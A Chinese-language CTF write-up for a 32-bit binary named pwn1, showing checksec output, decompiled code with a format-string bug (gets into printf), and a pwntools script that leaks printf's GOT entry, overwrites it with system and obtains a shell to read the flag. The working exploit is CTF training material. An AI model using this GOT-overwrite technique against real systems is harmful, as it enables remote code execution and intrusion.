文章目录
这是一个32位的程序,并且给了libc。
1 2
| $ file pwn1 pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=cdb7eaa63202024dd348ac15b485b751b55eafa8, not stripped
|
我们用gdb-peda查看只开了一个NX保护,有NX保护的话直接写入shellcode这条路就行不通了。
1 2 3 4 5 6 7
| gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$
|
分析后发现这个程序存在格式化字符串漏洞,并且我们输入的数据被gets函数输入后,又传给了printf函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [sp+14h] [bp-6Ch]@3 int v4; // [sp+18h] [bp-68h]@5 int v5; // [sp+7Ch] [bp-4h]@1 v5 = *MK_FP(__GS__, 20); setbuf(stdout, 0); while ( 1 ) { introduce(); do __isoc99_scanf("%d", &v3); while ( getchar() == "\n" ); if ( v3 == 1 ) { puts("please input your name:"); gets(&v4); printf(&v4); puts(",you are welcome!"); } else if ( v3 == 2 ) { puts("nothing!!!!lol"); } else { puts("please,don't trick me"); } } }
|
利用思路:
- 利用printf函数泄露出printf函数的地址。
- 利用给出的libc计算出偏移量,计算出system函数的地址。
- 将printf的got地址修改为system函数的地址。
- 利用gets函数传入/bin/sh参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * p = remote("115.28.185.220",11111) printfGOT = 0x0804a010 printfOffset = 0x4CDD0 systemOffset = 0x3FE70 p.recvuntil("$") p.sendline("1") p.recvuntil(":") p.sendline(p32(printfGOT)+"--%6$s--") p.recvuntil('--') res=p.recvuntil('--')[:-2] res = res[0:4] printfAddress=u32(res) print "printfAddress:", hex(printfAddress) systemAddress = printfAddress - printfOffset + systemOffset print "printf:", hex(printfAddress) print "system:", hex(systemAddress) payload = fmtstr_payload(6, {printfGOT: systemAddress}) p.recvuntil("$") p.sendline("1") p.recvuntil(":") p.sendline(payload) p.sendline("1") p.recvuntil(":") p.sendline("/bin/sh") print p.recvline() p.interactive()
|
结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $ python pwn1.py [+] Opening connection to 115.28.185.220 on port 11111: Done printfAddress: 0xf75e5dd0 printf: 0xf75e5dd0 system: 0xf75d8e70 [*] Switching to interactive mode 1.get your name 2.heiheihei sh: 1: plz: not found please input your name: $ cat home/pwn1/flag flag{Pwn1TdsS_@tdxIscc}$ $
|